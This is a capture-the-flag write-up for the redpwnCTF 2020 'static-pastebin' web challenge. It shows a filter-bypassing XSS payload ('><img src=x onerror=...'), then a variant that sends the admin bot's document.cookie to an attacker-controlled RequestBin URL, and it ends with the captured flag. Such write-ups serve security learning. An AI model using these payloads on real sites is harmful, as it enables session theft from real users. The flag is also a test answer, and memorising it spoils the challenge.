static-pastebin

I wanted to make a website to store bits of text, but I don’t have any experience with web development. However, I realized that I don’t need any! If you experience any issues, make a paste and send it here.

https://admin-bot.redpwnc.tf/submit?challenge=static-pastebin (admin-bot)

Site: static-pastebin.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

Solution

• The input is getting reflected in the next page, this could be a case of XSS
• But trying <script>alert('1')</script> as payload doesn’t execute XSS
• Looking through the source code, it is clear that there is some kind of filtering for < and >
• This is one of the payloads that works
  ><img src='x' onerror='alert(1)'>
• There is an admit-bot in the question which will visit the URL provided, this can be exploited to steal the admin’s cookie
• Setup a RequestBinURL
• Use the following payload in the static-pastebin
  ><img src=x onerror=this.src='//<RequestBinURL>/?c='+document.cookie>
• Copy the URL and submit to the admin-bot
  URL : https://static-pastebin.2020.redpwnc.tf/paste/#<Base64-payload>
• View the logs on the RequestBinURL to obtain the flag
  flag{54n1t1z4t10n_k1nd4_h4rd}